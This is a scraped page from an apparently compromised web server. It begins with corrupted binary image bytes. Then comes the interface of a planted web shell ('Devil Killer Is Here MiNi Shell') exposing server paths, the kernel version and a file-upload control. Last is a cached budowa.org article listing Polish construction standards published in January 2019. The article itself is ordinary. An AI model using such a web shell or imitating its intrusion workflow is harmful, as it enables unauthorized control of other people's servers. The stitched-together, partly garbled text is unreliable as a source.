JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/04/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/runtime/cache/04/040a5dd5fc8f9072f055bb43dba6e19e.bin

a:2:{i:0;a:2:{i:0;s:57604:" 
                    
                    <h3 class="title" itemprop="headline">Polskie Normy dotyczące branży budowlanej - styczeń 2019</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 05-02-2019, 00:00</strong>
                        <meta itemprop="dateModified" content=" 05-02-2019, 00:00"/>
                        <div class="hide" itemprop="description">
	Zestawienie Polskich Norm dotyczących branży budowlanej - styczeń 2019</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="budowa.org">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.budowa.org/images/loga/budowa.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/55042/crop/800x600/de86df14eb-642694001571973487.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.budowa.org/artykuly/szczegoly/55042"/>
                        
                                        </p>

                    <div class="lorem">
                        <h3 style="text-align:center;">
	<span style="color:rgb(0,51,51);">Zestawienie Polskich Norm dotyczących branży budowlanej</span></h3>
<h3 style="text-align:center;">
	<span style="color:rgb(0,51,51);">- styczeń 2019</span></h3>
<p>
	 </p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 22476-6:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>04-01-2019</p>
<p>
	Rozpoznanie i badania geotechniczne -- Badania polowe -- Część 6: Badanie samowkręcającym się presjometrem</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie określono wymagania dotyczące badań samowkręcającym się się presjometrem (SBP) w zakresie urządzeń, wykonywania badań oraz ich dokumentowania.</p>
<p>
	UWAGA Niniejszy dokument spełnia wymagania dla badań samowkręcającym się presjometrem, w ramach badań geotechnicznych zgodnie z EN 1997-1 oraz EN 1997-2.</p>
<p>
	Badanie samowkręcającym się presjometrem obejmuje pomiar in-situ odkształceń gruntów oraz miękkich skał poprzez zastosowanie cylindrycznej odkształcalnej membrany pod ciśnieniem.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 22476-8:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 04-01-2019</p>
<p>
	Rozpoznanie i badania geotechniczne -- Badania polowe -- Część 8: Badanie presjometrem</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie określono wymagania dla badań presjometrycznych (FDP) w zakresie urządzeń, wykonywania badań oraz ich dokumentowania.</p>
<p>
	UWAGA Niniejszy dokument spełnia wymagania dla badań presjometrycznych w ramach badań geotechnicznych zgodnie z EN 1997-1 oraz EN 1997-2.</p>
<p>
	Badanie presjometrem obejmuje pomiar in-situ odkształceń gruntów oraz miękkich skał poprzez zastosowanie cylindrycznej odkształcalnej membrany pod ciśnieniem.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 4619:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>09-01-2019</p>
<p>
	Sykatywy do farb i lakierów</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie ustalono wymagania i odpowiednie metody badań dla sykatyw do farb, lakierów i podobnych produktów. Wymagania dotyczą sykatyw w postaci stałej lub ciekłej. Nie dotyczą sykatyw emulgowanych.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 13832-2:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 09-01-2019</p>
<p>
	Obuwie chroniące przed substancjami chemicznymi -- Część 2: Wymagania w przypadku ograniczonego kontaktu z substancjami chemicznymi</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono wymagania dla obuwia w celu ochrony użytkownika w przypadku ograniczonego w czasie kontaktu z określonymi substancjami chemicznymi. Uwzględniono następujące zagrożenia: rozprysk oraz degradację wywołane substancją chemiczną.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 13832-3:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>09-01-2019</p>
<p>
	Obuwie chroniące przed substancjami chemicznymi -- Część 3: Wymagania w przypadku długotrwałego kontaktu z substancjami chemicznymi</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono wymagania dla obuwia przeznaczonego do ochrony użytkownika w przypadku długotrwałego, ciągłego kontaktu (ponad 1 godzinę) z określonymi substancjami chemicznymi. W niniejszej normie uwzględniono rozprysk oraz degradację wywołane substancjami chemicznymi. Inne wymagania ujęto przez powołanie odpowiednio na EN ISO 20345, 20346 lub 20347.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 358:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>09-01-2019</p>
<p>
	Środki ochrony indywidualnej do ustalania pozycji podczas pracy i zapobiegania upadkom z wysokości -- Pasy i linki bezpieczeństwa do ustalania pozycji podczas pracy lub ograniczania przemieszczania</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejszy dokument ma zastosowanie do pasów i linek bezpieczeństwa przeznaczonych do ustalania pozycji podczas pracy lub ograniczania przemieszczania. Wyszczególniono wymagania, badania, znakowanie i informacje dostarczane przez producenta. Niniejszy dokument nie obejmuje linek bezpieczeństwa o ustalonej długości do ograniczania przemieszczania, które nie są zintegrowane z pasem. UWAGA Linki bezpieczeństwa o ustalonej długości do ograniczania przemieszczania, które nie są zintegrowane z pasem, zostały objęte EN 354.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 2812-2:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 09-01-2019</p>
<p>
	Farby i lakiery -- Oznaczanie odporności na ciecze -- Część 2: Metoda zanurzania w wodzie</p>
<p>
	<strong><span style="color:#008080;">Zakres</span></strong></p>
<p>
	W niniejszym dokumencie ustalono metodę oznaczania odporności pojedynczej warstwy lub systemu wielowarstwowego z wyrobów lakierowych na działanie wody w wyniku częściowego lub całkowitego zanurzania.</p>
<p>
	Niniejsza metoda umożliwia określenie wpływu wody na powłokę i, jeżeli to konieczne, ocenę uszkodzenia podłoża.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 3681:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>09-01-2019</p>
<p>
	Substancje błonotwórcze do farb i lakierów -- Oznaczanie liczby zmydlenia -- Metoda miareczkowa</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie ustalono miareczkową metodę oznaczania zawartości zestryfikowanych kwasów w substancjach błonotwórczych do farb i lakierów, przy czym wolne kwasy i bezwodniki kwasowe zostają z konieczności również ujęte w otrzymanych wynikach.</p>
<p>
	Ponieważ różne substancje błonotwórcze różnią się w swojej odporności na zmydlenie, niniejszy dokument ma ograniczone zastosowanie. Jeśli to konieczne, całkowite zmydlenie może być sprawdzane przez powtarzanie badania w ostrych warunkach osiągniętych przez zastosowanie dłuższego czasu zmydlenia, bardziej stężonego roztworu wodorotlenku potasu lub wysokowrzącego alkoholu jako rozpuszczalnika.</p>
<p>
	W Załączniku A ustalono metodykę właściwą dla substancji błonotwórczych które są trudnozmydlające się.</p>
<p>
	Metody nie stosuje się w odniesieniu do tych materiałów, które oprócz zwykłego zmydlenia wchodzą w dalsze reakcje z zasadami.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 8504-3:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 10-01-2019</p>
<p>
	Przygotowanie podłoży stalowych przed nakładaniem farb i podobnych produktów -- Metody przygotowania powierzchni -- Część 3: Czyszczenie narzędziem ręcznym i narzędziem z napędem mechanicznym</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie opisano metody czyszczenia narzędziem ręcznym i narzędziem z napędem mechanicznym podłoży stalowych przed nakładaniem farb i podobnych produktów. Dotyczy to zarówno nowych konstrukcji stalowych, jak i powierzchni stalowych, które były wcześniej malowane i które wykazują obszary uszkodzeń wymagające malowania konserwacyjnego. Opisano wyposażenie, jakie będzie używane, i stosowane procedury.<br />
	 </p>
<h4>
	<br />
	<span style="color:#ff8c00;">PN-EN 12516-1+A1:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 10-01-2019</p>
<p>
	Armatura przemysłowa -- Wytrzymałość obudowy -- Część 1: Metoda tabelaryczna dla obudów stalowych armatury</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono metodę tabelaryczną określania grubości ścianki kadłubów, pokryw i zaślepek armatury o zasadniczo kołowym przekroju poprzecznym, wykonanych ze stali kutej, staliwa lub z połączonych ze sobą elementów stalowych.</p>
<p>
	Obudowy armatury o kształcie owalnym, prostokątnym lub nieokrągłym - patrz 8.6.</p>
<p>
	Zakres oznaczeń PN lub klasy, dla których stabelaryzowano grubości, jest następujący:</p>
<p>
	PN 2,5, PN 6, PN 10, PN 16, PN 25, PN 40, PN 63, PN 100, PN 160, PN 250, PN 320, PN 400, klasa 150, klasa 300, klasa 600, klasa 900, klasa 1 500, klasa 2 500, klasa 4 500.</p>
<p>
	Standardowe i specjalne wartości dopuszczalne ciśnienie/temperatura zostały określone dla każdej grupy materiałowej dla powyższych oznaczeń PN i klasy.</p>
<p>
	Określono procedury badań nieniszczących i poziomy akceptacji, które powinny być stosowane do elementów obudów armatury, która ma być stosowana na wartości dopuszczalne ciśnienie/temperatura klas specjalnych.</p>
<p>
	Sprecyzowano również alternatywne zasady dla armatury o małych średnicach, DN 65 i mniejszej, oznaczonej „Limited Class”.</p>
<p>
	Niniejsza norma nie dotyczy armatury z przyłączami gwintowanymi:<br />
	- DN 80 lub większej;<br />
	- lub która ma wartości dopuszczalne ciśnienia większe niż klasa 2 500;<br />
	- lub która pracuje w temperaturach wyższych niż 540 °C.</p>
<p>
	W zakres niniejszej normy nie wchodzi armatura z przyłączami kielichowymi do przyspawania DN 80 lub większa.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 12516-4+A1:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>10-01-2019</p>
<p>
	Armatura przemysłowa -- Wytrzymałość obudowy -- Część 4: Metoda obliczeniowa dla obudów armatury wykonanych z metali innych niż stal</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono metodę obliczeniową dla obudów armatury wytwarzanych z metali innych niż stal. Obciążenia, które mają być uwzględnione, są zgodne z EN 12516-2.</p>
<p>
	Metody projektowania są zgodne z EN 12516-2, projektowanie na podstawie wzorów zgodnie z odpowiednimi rozdziałami.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 54-12:2015-05 - wersja polska</span></h4>
<p>
	<strong>Data publikacji:</strong> 11-01-2019</p>
<p>
	Systemy sygnalizacji pożarowej -- Część 12: Czujki dymu -- Czujki liniowe działające z wykorzystaniem wiązki światła przechodzącego</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono wymagania, metody badań i kryteria oceny dla czujek liniowych działających z wykorzystaniem wiązki światła przechodzącego do wykrywania dymu, wykorzystujących tłumienie i/lub zmiany tłumienia wiązki optycznej, stosowanych w instalacjach sygnalizacji pożarowej instalowanych wewnątrz budynków (patrz EN 54-1:2011).</p>
<p>
	W niniejszej Normie Europejskiej ustalono ocenę i weryfikację stałości właściwości użytkowych (OiWSWU) czujek liniowych działających z wykorzystaniem wiązki światła przechodzącego pod kątem zgodności z niniejszą EN.</p>
<p>
	Niniejsza Norma Europejska nie obejmuje:<br />
	- czujek liniowych działających z wykorzystaniem wiązki światła przechodzącego zaprojektowanych do pracy z rozstawami między podzespołami naprzeciwległymi mniejszymi niż 1 m;<br />
	- czujek liniowych działających z wykorzystaniem wiązki światła przechodzącego, w których długość drogi optycznej jest określana lub ustawiana za pomocą zintegrowanego mechanizmu;<br />
	- czujek liniowych działających z wykorzystaniem wiązki światła przechodzącego o specjalnych właściwościach, których nie można ocenić metodami badań podanymi w niniejszej Normy Europejskiej.</p>
<p>
	UWAGA Pojęcie „optyczny” jest stosowane do opisania tego zakresu widma elektromagnetycznego emitowanego przez nadajnik, do którego jest dostosowany odbiornik; nie jest ograniczone do widzialnych długości fali.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 22477-1:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>11-01-2019</p>
<p>
	Rozpoznanie i badania geotechniczne -- Badania konstrukcyjnych elementów geotechnicznych -- Część 1: Badania pali: statyczne badanie nośności poprzez ściskanie osiowe</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie określono specyfikację dla wykonywania statycznego badania nośności pali, w którym pojedynczy pal poddawany jest osiowemu ściskaniu w celu określenia jego charakterystyki obciążenie-odkształcenie.</p>
<p>
	Niniejszy dokument stosuje się zarówno dla pali pionowych, jak i nachylonych.</p>
<p>
	Niniejszy dokument dotyczy wszystkich rodzajów pali. Badania objęte niniejszym dokumentem ograniczają się do badania prowadzonego w warunkach utrzymywanego obciążenia. Badania nośności pali ze stałą prędkością pogrążania oraz cykliczne badania nośności nie są objęte niniejszym dokumentem.</p>
<p>
	UWAGA Niniejszy dokument stosuje się łącznie z EN 1997-1. W EN 1997-1 przedstawiono Wartości współczynników częściowych dla stanów granicznych oraz współczynników korelacyjnych dla potrzeb określenia wartości charakterystycznych ze statycznych badań nośności, jakie uwzględnia się w czasie projektowania.</p>
<p>
	W niniejszym dokumencie określono specyfikację dla wykonywania statycznego badania nośności pali na potrzeby:<br />
	a) sprawdzenia, że dany pal pracuje zgodnie z projektem;<br />
	b) pomiaru nośności danego pala.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 16907-1:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 11-01-2019</p>
<p>
	Roboty ziemne -- Część 1: Zasady i reguły ogólne</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejsza Norma Europejska (Część 1) zawiera definicje, zasady i reguły ogólne planowania, projektowania i specyfikacji robót ziemnych. Część 1 Normy jest wprowadzeniem do kolejnych części, które będą wykorzystywane łącznie z Częścią 1.</p>
<p>
	Roboty ziemne są procesem inżynierii lądowej, mającym na celu tworzenie budowli ziemnych poprzez zmianę geometrii powierzchni ziemi dla budownictwa i innych działań. Obszary zastosowań robót ziemnych są powiązane z:<br />
	- infrastrukturą transportową (drogi i autostrady, tory kolejowe, drogi wodne, lotniska);<br />
	- posadowieniem budynków przemysłowych, komercyjnych oraz mieszkalnych;<br />
	- inżynierią wodną, ochroną przeciwpowodziową oraz ochroną wybrzeży;<br />
	- terenami lotnisk i portów, włącznie z budową nasypów w wodzie;<br />
	- wałami rzecznymi i nasypami morskimi realizowanymi w celu rekultywacji terenów;<br />
	- zaporami ziemnymi i z kruszyw;<br />
	- nasypami budowanymi na brzegach z hydraulicznie transportowanego materiału;<br />
	- ekranami akustycznymi, ekranami wizualnymi i innymi nie przenoszącymi obciążeń robotami ziemnymi;<br />
	- nasypów krajobrazowych;<br />
	- zasypywaniem odkrywek i kopalń kruszyw;<br />
	- odkładami pokopalnianymi;</p>
<p>
	Charakteryzują się potrzebą wykorzystania dostępnych naturalnych lub pochodzących z recyklingu materiałów i wykorzystaniem ich w sposób odpowiedni do uzyskania określonych właściwości.</p>
<p>
	Niniejsza Norma ma zastosowanie do wszystkich rodzajów budowli ziemnych, z wyjątkiem wymienionych poniżej:<br />
	- niektóre wybrane rodzaje prac, takie jak wykonywanie rowów i niewielkich prac ziemnych mogą być organizowane za pomocą uproszczonych lub szczególnych zasad;<br />
	- niektóre budowle, takie jak groble i zapory, wymagają robót ziemnych, podlegających specyficznym wymaganiom projektowym i konstrukcyjnym: mogą one wykraczać poza zasady określone w niniejszej normie.</p>
<p>
	Niniejsza Norma nie obejmuje wzmacniania gruntu pod budowlami ziemnymi takimi technikami jak palowanie, jet grouting, kolumny DSM (deep soil mixing), drenażu pionowego czy kolumn kamiennych.</p>
<p>
	Ze względu na zróżnicowanie warunków podłoża gruntowego i klimatycznych na obszarze Europy oraz różne krajowe warunki zawierania umów, ustanowione w poszczególnych krajach grupy zasad, zharmonizowanie ich przez Normy Europejskie nie odbędzie się w przeciągu krótkiego okresu czasu. Niniejsza Norma Europejska podaje podstawowe zasady do osiągnięcia wspomnianego wyżej celu. Informacyjne Aneksy B do H niniejszego dokumentu zawierają przykłady przestrzegania zasad w praktyce w różnych krajach.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 16907-2:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 11-01-2019</p>
<p>
	Roboty ziemne -- Część 2: Klasyfikacja materiałów</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejszy dokument określa wspólną podstawę do opisywania i klasyfikacji materiałów, do wykorzystania na etapie projektowania, planowania i wykonywania robót ziemnych.</p>
<p>
	Niniejszy dokument specyfikuje procesy i właściwości, które będą stosowane do opisu i klasyfikacji materiałów wykorzystywanych w robotach ziemnych. Norma wskazuje podział gruntów i skał jako podstawę specyfikacji materiałów dla elementów budowli ziemnych. Ta klasyfikacja odnosi się do fizycznych i chemicznych właściwości gruntów i materiałów skalnych.</p>
<p>
	UWAGA 1 Podejście do opisu gruntów i skał określone odpowiednio w normach EN ISO 14688-1 i EN ISO 14689 oraz podejście do klasyfikacji gruntów określone w normie EN ISO 14688-2 mają zastosowanie w robotach ziemnych, natomiast zakres podanych klasyfikacji dla robót ziemnych jest bardziej szczegółowy i zorientowany na specyficzne wymagania procedur robót ziemnych oraz elementów budowli ziemnych.</p>
<p>
	UWAGA 2 W celach informacyjnych, przykłady systemów klasyfikacyjnych opartych na doświadczeniach krajowych oraz ich wykorzystywanie przedstawiono w załącznikach do EN 16907-1:2018.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 16907-3:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>11-01-2019</p>
<p>
	Roboty ziemne -- Część 3: Procedury budowlane</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono procedury wykonawcze dla wydobycia, transportu i rozmieszczania gruntu i skał do budowy konstrukcji ziemnych oraz wskazówki dotyczące prac. Dodatkowo obejmuje również wydobycie i wbudowanie materiałów skalnych pod wodą.</p>
<p>
	Bagrowanie i związane z tym wypełnianie wykopów pod wodą (wymiana gruntów pod wodą) są opisane w normach EN 16907-6 i EN 16907-7.</p>
<p>
	Wykonanie robót ziemnych opiera się na wnioskach wyciągniętych w fazie projektowania i optymalizacji (EN 16907-1), podczas której powinny zostać wzięte pod uwagę specyfika i możliwość użycia gruntów i skał. W przypadku wystąpienia niedających się przewidzieć wcześniej okoliczności, należy podjąć dodatkowe prace projektowe w trakcie realizacji robót.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 16907-4:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>11-01-2019</p>
<p>
	Roboty ziemne -- Część 4: Obróbka gruntów wapnem i/lub spoiwami hydraulicznymi</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejsza Norma Europejska ma zastosowanie do obróbki spoiwami gruntów naturalnych, słabych skał, średnich skał, kredy, materiałów recyklingowanych i materiałów sztucznych w celu wykonania robót ziemnych przy budowie i utrzymaniu dróg, torowisk kolejowych, lądowisk, peronów, wałów, zbiorników wodnych i wszelkich innych typów konstrukcji ziemnych.</p>
<p>
	Norma ma zastosowanie wyłącznie do obróbki warstw robót ziemnych wykonywanych na miejscu lub w wytwórni, w przeciwieństwie np. do obróbki kolumnami.</p>
<p>
	Norma określa wymagania dla składników mieszanek, wstępnej metodologii badań laboratoryjnych, klasyfikacji działań laboratoryjnych, wykonawstwa i kontroli.</p>
<p>
	Uwaga 1: Załączniki informacyjne zawierają przykłady prawidłowych działań przy wykonywaniu robót i ich kontroli.</p>
<p>
	Klasyfikacja badań laboratoryjnych wyszczególniona w niniejszej Normie Europejskiej zawiera dwa typy działań: ulepszanie i stabilizację.</p>
<p>
	Dla ulepszania, klasyfikacja odnosi się do działań krótkoterminowych.</p>
<p>
	Dla stabilizacji, klasyfikacja odnosi się do działań średnio - i długoterminowych.</p>
<p>
	Uwaga 2: EN 16907-4 przygotowana przez CEN/TC 396 “Earthworks” ma zastosowanie zarówno do ulepszenia jak i stabilizacji w robotach ziemnych. EN 14227-15 przygotowana przez CEN/TC 227 “Road materials“ ma zastosowanie dla stabilizacji tylko przy robotach nawierzchniowych.</p>
<p>
	Uwaga 3: Dla stabilizacji, klasyfikacja działań opisana w EN 16907-4 opiera się głównie na tej samej klasyfikacji badań laboratoryjnych co wyszczególnia w EN 14227–15, z wyjątkiem schematu klasyfikacji badań w odniesieniu do ”Rt i E” charakterystycznych dla nawierzchni w EN 14227-15, które zostały zastąpione w EN 16904-4 schematem klasyfikacji badań odnośnie ”Rt i E” charakterystycznych dla robót ziemnych (Rysunek 1).</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 62446-1:2016-08/A1:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 15-01-2019</p>
<p>
	Systemy fotowoltaiczne (PV) -- Wymagania dotyczące badań, dokumentacji i utrzymania -- Część 1: Systemy podłączone do sieci -- Dokumentacja, odbiory i nadzór</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Zmodyfikowano Rozdziały: 2, 3, 4, 5, 6, 7 i Załącznik B. Zastąpiono Załącznik ZA.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 12310-2:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 15-01-2019</p>
<p>
	Elastyczne wyroby wodochronne -- Określanie wytrzymałości na rozdzieranie -- Część 2: Wyroby z tworzyw sztucznych i kauczuku do izolacji wodochronnej dachów</p>
<p>
	W niniejszym dokumencie opisano metodę określania właściwości rozdzierania wyrobów z tworzyw sztucznych i kauczuku do izolacji wodochronnej dachów z zastosowaniem trapezoidalnej próbki do badań z nacięciem lub przecięciem</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 15254-4:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>15-01-2019</p>
<p>
	Rozszerzone zastosowanie wyników badań odporności ogniowej -- Ściany nienośne -- Część 4: Konstrukcje przeszklone</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie określono wytyczne i, tam gdzie to właściwe, określono procedury dotyczące zmian niektórych parametrów i czynników związanych z projektem ognioodpornych elementów przeszklonych, które zostały zbadane zgodnie z EN 1364-1 i sklasyfikowane zgodnie z EN 13501-2.</p>
<p>
	Rozszerzone zastosowanie ognioodpornych elementów przeszklonych powinno opierać się na dokumentacji badawczej.</p>
<p>
	Niniejszą normę stosuje się wyłącznie do ognioodpornych elementów przeszklonych zamontowanych pionowo.</p>
<p>
